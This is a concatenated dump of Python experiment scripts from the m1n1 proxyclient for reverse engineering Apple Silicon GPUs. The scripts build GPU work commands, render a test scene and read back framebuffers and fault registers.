0) | ((i & 1) << 1) | ((j & 2) << 1) | ((i & 2) << 2) | ((j & 4) << 2) | ((i & 4) << 3) | ((j & 8) << 3) | ((i & 8) << 4) | ((j & 16) << 4) | ((i & 16) << 5) | ((j & 32) << 5) | ((i & 32) << 6)) r,g,b,a = data[toff + psize*off: toff + psize*(off+1)] if grid: if x % 64 == 0 or y % 64 == 0: r,g,b,a = 255,255,255,255 elif x % 32 == 0 or y % 32 == 0: r,g,b,a = 128,128,128,255 new_data.append(bytes([b, g, r, a])) data = b"".join(new_data) if dump: open(dump, "wb").write(data) iface.writemem(addr, data) try: agx.start() ctx_id = 3 buffer_mgr_slot = 2 #agx.initdata.regionA.add_to_mon(mon) #agx.initdata.regionB.add_to_mon(mon) #agx.initdata.regionC.add_to_mon(mon) #agx.initdata.regionB.unk_170.add_to_mon(mon) #agx.initdata.regionB.unk_178.add_to_mon(mon) #agx.initdata.regionB.unk_180.add_to_mon(mon) #agx.initdata.regionB.unk_190.add_to_mon(mon) #agx.initdata.regionB.unk_198.add_to_mon(mon) ##agx.initdata.regionB.fwlog_ring2.add_to_mon(mon) #agx.initdata.regionB.hwdata_a.add_to_mon(mon) #agx.initdata.regionB.hwdata_b.add_to_mon(mon) mon.poll() #agx.asc.work_for(0.3) #p.write32(agx.initdata.regionC._paddr + 0x8900, 0xffffffff) #p.write32(agx.initdata.regionC._paddr + 0x8904, 0xffffffff) #mon.poll() agx.kick_firmware() #agx.asc.work_for(0.3) #mon.poll() ##### Initialize context and load data ctx = GPUContext(agx) ctx.bind(ctx_id) #p.read32(0x204000000 + 0xd14000) #p.write32(0x204000000 + 0xd14000, 0x70001) #base = "gpudata/1tri/" #base = "gpudata/mesa-flag/" base = "gpudata/bunny/" ctx.load_blob(0x1100000000, True, base + "mem_0_0.bin") ctx.load_blob(0x1100008000, True, base + "mem_8000_0.bin") ctx.load_blob(0x1100010000, True, base + "mem_10000_0.bin") ctx.load_blob(0x1100058000, True, base + "mem_58000_0.bin") ctx.load_blob(0x1100060000, True, base + "mem_60000_0.bin") #ctx.load_blob(0x1100068000, True, base + "mem_68000_0.bin") ctx.load_blob(0x1500000000, False, base + "mem_1500000000_0.bin") ctx.load_blob(0x1500048000, False, base + "mem_1500048000_0.bin") ctx.load_blob(0x15000d0000, False, base + "mem_15000d0000_0.bin") ctx.load_blob(0x1500158000, False, base + "mem_1500158000_0.bin") ctx.load_blob(0x15001e0000, False, base + "mem_15001e0000_0.bin") ctx.load_blob(0x15001e8000, False, base + "mem_15001e8000_0.bin") ctx.load_blob(0x15001f0000, False, base + "mem_15001f0000_0.bin") ctx.load_blob(0x15001f8000, False, base + "mem_15001f8000_0.bin") #ctx.load_blob(0x1500490000, False, base + "mem_1500490000_0.bin") #ctx.load_blob(0x1500518000, False, base + "mem_1500518000_0.bin") #color = ctx.buf_at(0x1500200000, False, 1310720, "Color", track=False) #depth = ctx.buf_at(0x1500348000, False, 1310720, "Depth", track=False) color = ctx.buf_at(0x1500200000, False, 2129920, "Color", track=False) depth = ctx.buf_at(0x1500410000, False, 2129920, "Depth", track=False) ctx.load_blob(0x1500620000, False, base + "mem_1500620000_0.bin", track=False) ctx.load_blob(0x1500890000, False, base + "mem_1500890000_0.bin", track=False) mon.poll() p.memset32(color._paddr, 0xdeadbeef, color._size) p.memset32(depth._paddr, 0xdeadbeef, depth._size) stencil = ctx.buf_at(0x1510410000, False, 2129920, "Stencil", track=False) width = 800 height = 600 width_a = align_up(width, 64) height_a = align_up(height, 64) depth_addr = depth._addr ##### Initialize buffer manager #buffer_mgr = GPUBufferManager(agx, ctx, 26) buffer_mgr = GPUBufferManager(agx, ctx, 8) ##### Initialize work queues wq_3d = GPU3DWorkQueue(agx, ctx) wq_ta = GPUTAWorkQueue(agx, ctx) ##### TA stamps #Message 1: DAG: Non Sequential Stamp Updates seen entryIdx 0x41 roots.dag 0x1 stampIdx 0x7 stampValue 0x4100 channel 0xffffffa000163f58 channelRingCommandIndex 0x1 prev_stamp_value = 0x4000 stamp_value = 0x4100 # start? stamp_ta1 = agx.kshared.new(BarrierCounter, name="TA stamp 1") stamp_ta1.value = prev_stamp_value stamp_ta1.push() # complete? stamp_ta2 = agx.kobj.new(BarrierCounter, name="TA stamp 2") stamp_ta2.value = prev_stamp_value stamp_ta2.push() ##### 3D stamps # start? stamp_3d1 = agx.kshared.new(BarrierCounter, name="3D stamp 1") stamp_3d1.value = prev_stamp_value stamp_3d1.push() # complete? stamp_3d2 = agx.kobj.new(BarrierCounter, name="3D stamp 2") stamp_3d2.value = prev_stamp_value stamp_3d2.push() ##### Some kind of feedback/status buffer, GPU managed? event_control = agx.kobj.new(EventControl) event_control.event_count = agx.kobj.new(Int32ul, "Event Count") event_control.base_stamp = 0x15 #0 event_control.unk_c = 0 event_control.unk_10 = 0x50 event_control.push() ##### TVB allocations / Tiler config tile_width = 32 tile_height = 32 tiles_x = ((width + tile_width - 1) // tile_width) tiles_y = ((height + tile_height - 1) // tile_height) tiles = tiles_x * tiles_y tile_blocks_x = (tiles_x + 15) // 16 tile_blocks_y = (tiles_y + 15) // 16 tile_blocks = tile_blocks_x * tile_blocks_y tiling_params = TilingParameters() tiling_params.size1 = 0x14 * tile_blocks tiling_params.unk_4 = 0x88 tiling_params.unk_8 = 0x202 tiling_params.x_max = width - 1 tiling_params.y_max = height - 1 tiling_params.tile_count = ((tiles_y-1) << 12) | (tiles_x-1) tiling_params.x_blocks = (12 * tile_blocks_x) | (tile_blocks_x << 12) | (tile_blocks_x << 20) tiling_params.y_blocks = (12 * tile_blocks_y) | (tile_blocks_y << 12) | (tile_blocks_y << 20) tiling_params.size2 = 0x10 * tile_blocks tiling_params.size3 = 0x20 * tile_blocks tiling_params.unk_24 = 0x100 tiling_params.unk_28 = 0x8000 tvb_something_size = 0x800 * tile_blocks tvb_something = ctx.uobj.new_buf(tvb_something_size, "TVB Something") tvb_tilemap_size = 0x800 * tile_blocks tvb_tilemap = ctx.uobj.new_buf(tvb_tilemap_size, "TVB Tilemap") tvb_heapmeta_size = 0x4000 tvb_heapmeta = ctx.uobj.new_buf(tvb_heapmeta_size, "TVB Heap Meta") ##### Buffer stuff? # buffer related? buf_desc = agx.kobj.new(BufferThing) buf_desc.unk_0 = 0x0 buf_desc.unk_8 = 0x0 buf_desc.unk_10 = 0x0 buf_desc.unkptr_18 = ctx.uobj.buf(0x80, "BufferThing.unkptr_18") buf_desc.unk_20 = 0x0 buf_desc.bm_misc_addr = buffer_mgr.misc_obj._addr buf_desc.unk_2c = 0x0 buf_desc.unk_30 = 0x0 buf_desc.unk_38 = 0x0 buf_desc.push() uuid_3d = 0x4000a14 uuid_ta = 0x4000a15 encoder_id = 0x30009fb ##### 3D barrier command ev_ta = 6 ev_3d = 7 barrier_cmd = agx.kobj.new(WorkCommandBarrier) barrier_cmd.stamp = stamp_ta2 barrier_cmd.stamp_value1 = 0x4100 barrier_cmd.stamp_value2 = 0x4100 barrier_cmd.event = ev_ta barrier_cmd.uuid = uuid_3d #stamp.add_to_mon(mon) #stamp2.add_to_mon(mon) print(barrier_cmd) wq_3d.submit(barrier_cmd.push()) ##### 3D execution wc_3d = agx.kobj.new(WorkCommand3D) wc_3d.context_id = ctx_id wc_3d.unk_8 = 0 wc_3d.event_control = event_control wc_3d.buffer_mgr = buffer_mgr.info wc_3d.buf_thing = buf_desc wc_3d.unk_emptybuf_addr = agx.kobj.buf(0x100, "unk_emptybuf") wc_3d.tvb_tilemap = tvb_tilemap._addr wc_3d.unk_40 = 0x88 wc_3d.unk_48 = 0x1 wc_3d.tile_blocks_y = tile_blocks_y * 4 wc_3d.tile_blocks_x = tile_blocks_x * 4 wc_3d.unk_50 = 0x0 wc_3d.unk_58 = 0x0 wc_3d.uuid1 = 0x3b315cae wc_3d.uuid2 = 0x3b6c7b92 wc_3d.unk_68 = 0x0 wc_3d.tile_count = tiles wc_3d.unk_buf = WorkCommand1_UnkBuf() wc_3d.unk_word = BarrierCounter() wc_3d.unk_buf2 = WorkCommand1_UnkBuf2() wc_3d.unk_buf2.unk_0 = 0 wc_3d.unk_buf2.unk_8 = 0 wc_3d.unk_buf2.unk_10 = 1 wc_3d.ts1 = Timestamp() wc_3d.ts2 = Timestamp() wc_3d.ts3 = Timestamp() wc_3d.unk_914 = 0 wc_3d.unk_918 = 0 wc_3d.unk_920 = 0 wc_3d.unk_924 = 1 # Structures embedded in WorkCommand3D if True: wc_3d.struct_1 = Start3DStruct1() wc_3d.struct_1.store_pipeline_addr = 0x14004 # CHECKED wc_3d.struct_1.unk_8 = 0x0 wc_3d.struct_1.unk_c = 0x0 wc_3d.struct_1.uuid1 = wc_3d.uuid1 wc_3d.struct_1.uuid2 = wc_3d.uuid2 wc_3d.struct_1.unk_18 = 0x0 wc_3d.struct_1.tile_blocks_y = tile_blocks_y * 4 wc_3d.struct_1.tile_blocks_x = tile_blocks_x * 4 wc_3d.struct_1.unk_24 = 0x0 wc_3d.struct_1.tile_counts = ((tiles_y-1) << 12) | (tiles_x-1) wc_3d.struct_1.unk_2c = 0x8 wc_3d.struct_1.depth_clear_val1 = 1.0 # works wc_3d.struct_1.stencil_clear_val1 = 0x0 wc_3d.struct_1.unk_38 = 0x0 wc_3d.struct_1.unk_3c = 0x1 wc_3d.struct_1.unk_40_padding = bytes(0xb0) wc_3d.struct_1.depth_bias_array = Start3DArrayAddr(0x1500158000) wc_3d.struct_1.scissor_array = Start3DArrayAddr(0x15000d0000) wc_3d.struct_1.unk_110 = 0x0 wc_3d.struct_1.unk_118 = 0x0 wc_3d.struct_1.unk_120 = [0] * 37 wc_3d.struct_1.unk_reload_pipeline = Start3DStorePipelineBinding(0xffff8212, 0xfffffff4) wc_3d.struct_1.unk_258 = 0 wc_3d.struct_1.unk_260 = 0 wc_3d.struct_1.unk_268 = 0 wc_3d.struct_1.unk_270 = 0 wc_3d.struct_1.reload_pipeline = Start3DClearPipelineBinding(0xffff8212, 0x13004) # CHECKED wc_3d.struct_1.depth_flags = 0x00000 wc_3d.struct_1.unk_290 = 0x0 wc_3d.struct_1.depth_buffer_ptr1 = depth_addr wc_3d.struct_1.unk_2a0 = 0x0 wc_3d.struct_1.unk_2a8 = 0x0 wc_3d.struct_1.depth_buffer_ptr2 = depth_addr wc_3d.struct_1.depth_buffer_ptr3 = depth_addr wc_3d.struct_1.unk_2c0 = 0x0 wc_3d.struct_1.stencil_buffer_ptr1 = stencil._addr wc_3d.struct_1.unk_2d0 = 0x0 wc_3d.struct_1.unk_2d8 = 0x0 wc_3d.struct_1.stencil_buffer_ptr2 = stencil._addr wc_3d.struct_1.stencil_buffer_ptr3 = stencil._addr wc_3d.struct_1.unk_2f0 = [0x0, 0x0, 0x0] wc_3d.struct_1.aux_fb_unk0 = 0x4 wc_3d.struct_1.unk_30c = 0x0 wc_3d.struct_1.aux_fb = AuxFBInfo(0xc000, 0, width, height) wc_3d.struct_1.unk_320_padding = bytes(0x10) wc_3d.struct_1.unk_partial_store_pipeline = Start3DStorePipelineBinding(0xffff8212, 0xfffffff4) wc_3d.struct_1.partial_store_pipeline = Start3DStorePipelineBinding(0x12, 0x14004) # CHECKED wc_3d.struct_1.depth_clear_val2 = 1.0 wc_3d.struct_1.stencil_clear_val2 = 0x0 wc_3d.struct_1.context_id = ctx_id wc_3d.struct_1.unk_376 = 0x0 wc_3d.struct_1.unk_378 = 0x8 wc_3d.struct_1.unk_37c = 0x0 wc_3d.struct_1.unk_380 = 0x0 wc_3d.struct_1.unk_388 = 0x0 wc_3d.struct_1.depth_dimensions = 0x12b831f #0xef827f if True: wc_3d.struct_2 = Start3DStruct2() wc_3d.struct_2.unk_0 = 0xa000 wc_3d.struct_2.clear_pipeline = Start3DClearPipelineBinding(0xffff8002, 0x12004) wc_3d.struct_2.unk_18 = 0x88 wc_3d.struct_2.scissor_array = 0x15000d0000 wc_3d.struct_2.depth_bias_array = 0x1500158000 wc_3d.struct_2.aux_fb = wc_3d.struct_1.aux_fb wc_3d.struct_2.depth_dimensions = wc_3d.struct_1.depth_dimensions wc_3d.struct_2.unk_48 = 0x0 wc_3d.struct_2.depth_flags = wc_3d.struct_1.depth_flags wc_3d.struct_2.depth_buffer_ptr1 = depth_addr wc_3d.struct_2.depth_buffer_ptr2 = depth_addr wc_3d.struct_2.stencil_buffer_ptr1 = stencil._addr wc_3d.struct_2.stencil_buffer_ptr2 = stencil._addr wc_3d.struct_2.unk_68 = [0] * 12 wc_3d.struct_2.tvb_tilemap = tvb_tilemap._addr wc_3d.struct_2.tvb_heapmeta_addr = tvb_heapmeta._addr wc_3d.struct_2.unk_e8 = 0x50000000 * tile_blocks wc_3d.struct_2.tvb_heapmeta_addr2 = tvb_heapmeta._addr wc_3d.struct_2.unk_f8 = 0x10280 # TODO: varies 0, 0x280, 0x10000, 0x10280 wc_3d.struct_2.aux_fb_ptr = 0x1500006000 wc_3d.struct_2.unk_108 = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0] wc_3d.struct_2.pipeline_base = 0x1100000000 wc_3d.struct_2.unk_140 = 0x8c60 wc_3d.struct_2.unk_148 = 0x0 wc_3d.struct_2.unk_150 = 0x0 wc_3d.struct_2.unk_158 = 0x1c wc_3d.struct_2.unk_160_padding = bytes(0x1e8) if True: wc_3d.struct_6 = Start3DStruct6() wc_3d.struct_6.unk_0 = 0x0 wc_3d.struct_6.unk_8 = 0x0 wc_3d.struct_6.unk_10 = 0x0 wc_3d.struct_6.encoder_id = encoder_id wc_3d.struct_6.unk_1c = 0xffffffff wc_3d.struct_6.unknown_buffer = 0x150000e000 wc_3d.struct_6.unk_28 = 0x0 wc_3d.struct_6.unk_30 = 0x1 wc_3d.struct_6.unk_34 = 0x1 if True: wc_3d.struct_7 = Start3DStruct7() wc_3d.struct_7.unk_0 = 0x0 wc_3d.struct_7.stamp1 = stamp_3d1 wc_3d.struct_7.stamp2 = stamp_3d2 wc_3d.struct_7.stamp_value = stamp_value wc_3d.struct_7.ev_3d = ev_3d wc_3d.struct_7.unk_20 = 0x0 wc_3d.struct_7.unk_24 = 0x0 # check wc_3d.struct_7.uuid = uuid_3d wc_3d.struct_7.prev_stamp_value = 0x0 wc_3d.struct_7.unk_30 = 0x0 wc_3d.set_addr() # Update inner structure addresses print("WC3D", hex(wc_3d._addr)) print(" s1", hex(wc_3d.struct_1._addr)) print(" s2", hex(wc_3d.struct_2._addr)) print(" s6", hex(wc_3d.struct_6._addr)) print(" s7", hex(wc_3d.struct_7._addr)) ms = GPUMicroSequence(agx) start_3d = Start3DCmd() start_3d.struct1 = wc_3d.struct_1 start_3d.struct2 = wc_3d.struct_2 start_3d.buf_thing = buf_desc start_3d.unkptr_1c = agx.initdata.regionB.unkptr_178 + 8 start_3d.unkptr_24 = wc_3d.unk_word._addr start_3d.struct6 = wc_3d.struct_6 start_3d.struct7 = wc_3d.struct_7 start_3d.cmdqueue_ptr = wq_3d.info._addr start_3d.workitem_ptr = wc_3d._addr start_3d.context_id = ctx_id start_3d.unk_50 = 0x1 start_3d.unk_54 = 0x0 start_3d.unk_58 = 0x2 start_3d.unk_5c = 0x0 start_3d.prev_stamp_value = 0x0 start_3d.unk_68 = 0x0 start_3d.unk_buf_ptr = wc_3d.unk_buf._addr start_3d.unk_buf2_ptr = wc_3d.unk_buf2._addr start_3d.unk_7c = 0x0 start_3d.unk_80 = 0x0 start_3d.unk_84 = 0x0 start_3d.uuid = uuid_3d start_3d.attachments = [ Attachment(color._addr, 0x2800, 0x10017), Attachment(depth._addr, 0x4100, 0x10017), ] + [Attachment(0, 0, 0)] * 14 start_3d.num_attachments = 2 start_3d.unk_190 = 0x0 ms.append(start_3d) ts1 = TimestampCmd() ts1.unk_1 = 0x0 ts1.unk_2 = 0x0 ts1.unk_3 = 0x80 ts1.ts0_addr = wc_3d.ts1._addr ts1.ts1_addr = wc_3d.ts2._addr ts1.ts2_addr = wc_3d.ts2._addr ts1.cmdqueue_ptr = wq_3d.info._addr ts1.unk_24 = 0x0 ts1.uuid = uuid_3d ts1.unk_30_padding = 0x0 ms.append(ts1) ms.append(WaitForInterruptCmd(0, 1, 0)) ts2 = TimestampCmd() ts2.unk_1 = 0x0 ts2.unk_2 = 0x0 ts2.unk_3 = 0x0 ts2.ts0_addr = wc_3d.ts1._addr ts2.ts1_addr = wc_3d.ts2._addr ts2.ts2_addr = wc_3d.ts3._addr ts2.cmdqueue_ptr = wq_3d.info._addr ts2.unk_24 = 0x0 ts2.uuid = uuid_3d ts2.unk_30_padding = 0x0 ms.append(ts2) finish_3d = Finalize3DCmd() finish_3d.uuid = uuid_3d finish_3d.unk_8 = 0 finish_3d.stamp = stamp_3d2 finish_3d.stamp_value = stamp_value finish_3d.unk_18 = 0 finish_3d.buf_thing = buf_desc finish_3d.buffer_mgr = buffer_mgr.info finish_3d.unk_2c = 1 finish_3d.unkptr_34 = agx.initdata.regionB.unkptr_178 + 8 finish_3d.struct7 = wc_3d.struct_7 finish_3d.unkptr_44 = wc_3d.unk_word._addr finish_3d.cmdqueue_ptr = wq_3d.info._addr finish_3d.workitem_ptr = wc_3d._addr finish_3d.unk_5c = ctx_id finish_3d.unk_buf_ptr = wc_3d.unk_buf._addr finish_3d.unk_6c = 0 finish_3d.unk_74 = 0 finish_3d.unk_7c = 0 finish_3d.unk_84 = 0 finish_3d.unk_8c = 0 finish_3d.startcmd_offset = -0x200 finish_3d.unk_98 = 1 ms.append(finish_3d) ms.finalize() wc_3d.microsequence_ptr = ms.obj._addr wc_3d.microsequence_size = ms.size print(wc_3d) wc_3d.push() ms.dump() print(wc_3d) wq_3d.submit(wc_3d) ##### TA init #print(ctx_info) wc_initbm = agx.kobj.new(WorkCommandInitBM) wc_initbm.context_id = ctx_id wc_initbm.unk_8 = buffer_mgr_slot wc_initbm.unk_c = 0 wc_initbm.unk_10 = buffer_mgr.info.block_count wc_initbm.buffer_mgr = buffer_mgr.info wc_initbm.stamp_value = stamp_value wc_initbm.push() print(wc_initbm) wq_ta.submit(wc_initbm) ##### TA execution wc_ta = agx.kobj.new(WorkCommandTA) wc_ta.context_id = ctx_id wc_ta.unk_8 = 0 wc_ta.event_control = event_control wc_ta.unk_14 = buffer_mgr_slot wc_ta.buffer_mgr = buffer_mgr.info wc_ta.buf_thing = buf_desc wc_ta.unk_emptybuf_addr = wc_3d.unk_emptybuf_addr wc_ta.unk_34 = 0x0 wc_ta.unk_154 = bytes(0x268) wc_ta.unk_3e8 = bytes(0x74) wc_ta.unk_594 = WorkCommand0_UnkBuf() wc_ta.ts1 = Timestamp() wc_ta.ts2 = Timestamp() wc_ta.ts3 = Timestamp() wc_ta.unk_5c4 = 0 wc_ta.unk_5c8 = 0 wc_ta.unk_5cc = 0 wc_ta.unk_5d0 = 0 wc_ta.unk_5d4 = 0x27 #1 # Structures embedded in WorkCommandTA if True: wc_ta.tiling_params = tiling_params #wc_ta.tiling_params.unk_0 = 0x28 #wc_ta.tiling_params.unk_4 = 0x88 #wc_ta.tiling_params.unk_8 = 0x202 #wc_ta.tiling_params.x_max = 639 #wc_ta.tiling_params.y_max = 479 #wc_ta.tiling_params.unk_10 = 0xe013 #wc_ta.tiling_params.unk_14 = 0x20_20_18 #wc_ta.tiling_params.unk_18 = 0x10_10_0c #wc_ta.tiling_params.unk_1c = 0x20 #wc_ta.tiling_params.unk_20 = 0x40 #wc_ta.tiling_params.unk_24 = 0x100 #wc_ta.tiling_params.unk_28 = 0x8000 if True: wc_ta.struct_2 = StartTACmdStruct2() wc_ta.struct_2.unk_0 = 0x200 wc_ta.struct_2.unk_8 = 0x1e3ce508 # fixed wc_ta.struct_2.unk_c = 0x1e3ce508 # fixed wc_ta.struct_2.tvb_tilemap = tvb_tilemap._addr wc_ta.struct_2.unkptr_18 = 0x0 wc_ta.struct_2.unkptr_20 = tvb_something._addr wc_ta.struct_2.tvb_heapmeta_addr = tvb_heapmeta._addr | 0x8000000000000000 wc_ta.struct_2.iogpu_unk_54 = 0x6b0003 # fixed wc_ta.struct_2.iogpu_unk_55 = 0x3a0012 # fixed wc_ta.struct_2.iogpu_unk_56 = 0x1 # fixed wc_ta.struct_2.unk_40 = 0x0 # fixed wc_ta.struct_2.unk_48 = 0xa000 # fixed wc_ta.struct_2.unk_50 = 0x88 # fixed wc_ta.struct_2.tvb_heapmeta_addr2 = tvb_heapmeta._addr wc_ta.struct_2.unk_60 = 0x0 # fixed wc_ta.struct_2.unk_68 = 0x0 # fixed wc_ta.struct_2.iogpu_deflake_1 = 0x15000052a0 wc_ta.struct_2.iogpu_deflake_2 = 0x1500005020 wc_ta.struct_2.unk_80 = 0x1 # fixed wc_ta.struct_2.iogpu_deflake_3 = 0x1500005000 wc_ta.struct_2.encoder_addr = 0x1500048000 wc_ta.struct_2.unk_98 = [0x0, 0x0] # fixed wc_ta.struct_2.unk_a8 = 0xa041 # fixed wc_ta.struct_2.unk_b0 = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0] # fixed wc_ta.struct_2.pipeline_base = 0x1100000000 wc_ta.struct_2.unk_e8 = 0x0 # fixed wc_ta.struct_2.unk_f0 = 0x1c # fixed wc_ta.struct_2.unk_f8 = 0x8c60 # fixed wc_ta.struct_2.unk_100 = [0x0, 0x0, 0x0] # fixed wc_ta.struct_2.unk_118 = 0x1c # fixed if True: wc_ta.struct_3 = StartTACmdStruct3() wc_ta.struct_3.unk_480 = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0] # fixed wc_ta.struct_3.unk_498 = 0x0 # fixed wc_ta.struct_3.unk_4a0 = 0x0 # fixed wc_ta.struct_3.iogpu_deflake_1 = 0x15000052a0 wc_ta.struct_3.unk_4ac = 0x0 # fixed wc_ta.struct_3.unk_4b0 = 0x0 # fixed wc_ta.struct_3.unk_4b8 = 0x0 # fixed wc_ta.struct_3.unk_4bc = 0x0 # fixed wc_ta.struct_3.unk_4c4_padding = bytes(0x48) wc_ta.struct_3.unk_50c = 0x0 # fixed wc_ta.struct_3.unk_510 = 0x0 # fixed wc_ta.struct_3.unk_518 = 0x0 # fixed wc_ta.struct_3.unk_520 = 0x0 # fixed wc_ta.struct_3.unk_528 = 0x0 # fixed wc_ta.struct_3.unk_52c = 0x0 # fixed wc_ta.struct_3.unk_530 = 0x0 # fixed wc_ta.struct_3.encoder_id = encoder_id wc_ta.struct_3.unk_538 = 0x0 # fixed wc_ta.struct_3.unk_53c = 0xffffffff wc_ta.struct_3.unknown_buffer = wc_3d.struct_6.unknown_buffer wc_ta.struct_3.unk_548 = 0x0 # fixed wc_ta.struct_3.unk_550 = [ 0x0, 0x0, # fixed 0x0, # 1 for boot stuff? 0x0, 0x0, 0x0] # fixed wc_ta.struct_3.stamp1 = stamp_ta1 wc_ta.struct_3.stamp2 = stamp_ta2 wc_ta.struct_3.stamp_value = stamp_value wc_ta.struct_3.ev_ta = ev_ta wc_ta.struct_3.unk_580 = 0x0 # fixed wc_ta.struct_3.unk_584 = 0x0 # 1 for boot stuff? wc_ta.struct_3.uuid2 = uuid_ta #wc_ta.struct_3.unk_58c = [0x0, 0x0] wc_ta.struct_3.unk_58c = [0x1, 0x0] wc_ta.set_addr() # Update inner structure addresses #print("wc_ta", wc_ta) ms = GPUMicroSequence(agx) start_ta = StartTACmd() start_ta.tiling_params = wc_ta.tiling_params start_ta.struct2 = wc_ta.struct_2 start_ta.buffer_mgr = buffer_mgr.info start_ta.buf_thing = buf_desc start_ta.unkptr_24 = agx.initdata.regionB.unkptr_170 + 4 start_ta.cmdqueue_ptr = wq_ta.info._addr start_ta.context_id = ctx_id start_ta.unk_38 = 1 start_ta.unk_3c = 1 #0 start_ta.unk_40 = buffer_mgr_slot start_ta.unk_48 = 1 #0 start_ta.unk_50 = 0 start_ta.struct3 = wc_ta.struct_3 start_ta.unkptr_5c = wc_ta.unk_594._addr start_ta.unk_64 = 0x0 # fixed start_ta.uuid = uuid_ta start_ta.unk_70 = 0x0 # fixed start_ta.unk_74 = [ # fixed 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ] start_ta.unk_15c = 0x0 # fixed start_ta.unk_160 = 0x0 # fixed start_ta.unk_168 = 0x0 # fixed start_ta.unk_16c = 0x0 # fixed start_ta.unk_170 = 0x0 # fixed start_ta.unk_178 = 0x0 # fixed ms.append(start_ta) ts1 = TimestampCmd() ts1.unk_1 = 0x0 ts1.unk_2 = 0x0 ts1.unk_3 = 0x80 ts1.ts0_addr = wc_ta.ts1._addr ts1.ts1_addr = wc_ta.ts2._addr ts1.ts2_addr = wc_ta.ts2._addr ts1.cmdqueue_ptr = wq_ta.info._addr ts1.unk_24 = 0x0 ts1.uuid = uuid_ta ts1.unk_30_padding = 0x0 ms.append(ts1) ms.append(WaitForInterruptCmd(1, 0, 0)) ts2 = TimestampCmd() ts2.unk_1 = 0x0 ts2.unk_2 = 0x0 ts2.unk_3 = 0x0 ts2.ts0_addr = wc_ta.ts1._addr ts2.ts1_addr = wc_ta.ts2._addr ts2.ts2_addr = wc_ta.ts3._addr ts2.cmdqueue_ptr = wq_ta.info._addr ts2.unk_24 = 0x0 ts2.uuid = uuid_ta ts2.unk_30_padding = 0x0 ms.append(ts2) finish_ta = FinalizeTACmd() finish_ta.buf_thing = buf_desc finish_ta.buffer_mgr = buffer_mgr.info finish_ta.unkptr_14 = agx.initdata.regionB.unkptr_170 + 4 finish_ta.cmdqueue_ptr = wq_ta.info._addr finish_ta.context_id = ctx_id finish_ta.unk_28 = 0x0 # fixed finish_ta.struct3 = wc_ta.struct_3 finish_ta.unk_34 = 0x0 # fixed finish_ta.uuid = uuid_ta finish_ta.stamp = stamp_ta2 finish_ta.stamp_value = stamp_value finish_ta.unk_48 = 0x0 # fixed finish_ta.unk_50 = 0x0 # fixed finish_ta.unk_54 = 0x0 # fixed finish_ta.unk_58 = 0x0 # fixed finish_ta.unk_60 = 0x0 # fixed finish_ta.unk_64 = 0x0 # fixed finish_ta.unk_68 = 0x0 # fixed finish_ta.startcmd_offset = -0x1e8 # fixed finish_ta.unk_70 = 0x0 # fixed ms.append(finish_ta) ms.finalize() wc_ta.unkptr_45c = tvb_something._addr wc_ta.tvb_size = tvb_something_size wc_ta.microsequence_ptr = ms.obj._addr wc_ta.microsequence_size = ms.size wc_ta.ev_3d = ev_3d wc_ta.stamp_value = stamp_value wc_ta.push() ms.dump() mon.poll() print(wc_ta) wq_ta.submit(wc_ta) ##### Run queues agx.ch.queue[2].q_3D.run(wq_3d, ev_3d) agx.ch.queue[2].q_TA.run(wq_ta, ev_ta) ##### Wait for work agx.asc.work_for(0.3) print("3D:") print(wq_3d.info.pull()) print("TA:") print(wq_ta.info.pull()) print("Barriers:") print(stamp_ta1.pull()) print(stamp_ta2.pull()) print(stamp_3d1.pull()) print(stamp_3d2.pull()) event_control.pull() print(event_control) print("==") mon.poll() print("==") #agx.kick_firmware() agx.asc.work_for(0.3) p.read32(0x204000000 + 0xd14000) # [cpu0] [0xfffffe00124bf9a8] MMIO: W.4 0x204d14000 (sgx, offset 0xd14000) = 0x70001 p.write32(0x204000000 + 0xd14000, 0x70001) #agx.uat.dump(ctx_id) fault_code = p.read64(0x204017030) fault_addr = fault_code >> 24 if fault_addr & 0x8000000000: fault_addr |= 0xffffff8000000000 print(f"FAULT CODE: {fault_code:#x}") base, obj = agx.find_object(fault_addr) if obj is not None: print(f"Faulted at : {fault_addr:#x}: {obj!s} + {fault_addr - base:#x}") #agx.kick_firmware() mon.poll() #print(buffer_mgr.info.pull()) #print(buffer_mgr.counter_obj.pull()) #print(buffer_mgr.misc_obj.pull()) #print(buffer_mgr.block_ctl_obj.pull()) width = 800 height = 600 unswizzle(color._paddr, width, height, 4, "fb.bin", grid=True) unswizzle(depth._paddr, width, height, 4, "depth.bin", grid=True) p.fb_blit(0, 0, width, height, color._paddr, width) print("TVB something:") chexdump(iface.readmem(tvb_something._paddr, tvb_something._size), stride=16, abbreviate=False) print("TVB list:") chexdump(iface.readmem(tvb_tilemap._paddr, tvb_tilemap._size), stride=5, abbreviate=False) print("Tile params:") print(f"X: {tiles_x} ({tile_blocks_x})") print(f"Y: {tiles_y} ({tile_blocks_y})") print(f"Total: {tiles} ({tile_blocks})") agx.stop() except: #agx.uat.dump(ctx_id) p.reboot() raise #agx.stop() #time.sleep(10) #p.reboot() m1n1-1.4.11/proxyclient/experiments/agx_boot.py000077500000000000000000000007721453754430200214710ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.constructutils import Ver from m1n1.utils import * Ver.set_version(u) from m1n1.shell import run_shell from m1n1.fw.agx import Agx p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") agx = Agx(u) agx.verbose = 10 #agx.uat.dump(0) agx.build_initdata() run_shell(globals(), msg="Have fun!") m1n1-1.4.11/proxyclient/experiments/agx_cancel.py000066400000000000000000000203201453754430200217370ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import atexit, sys from m1n1.setup import * from m1n1.constructutils import Ver from m1n1.utils import * Ver.set_version(u) from m1n1.agx import AGX from m1n1.agx.render import * from m1n1 import asm from m1n1.gpiola import GPIOLogicAnalyzer analyzer_cpu = 1 p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") 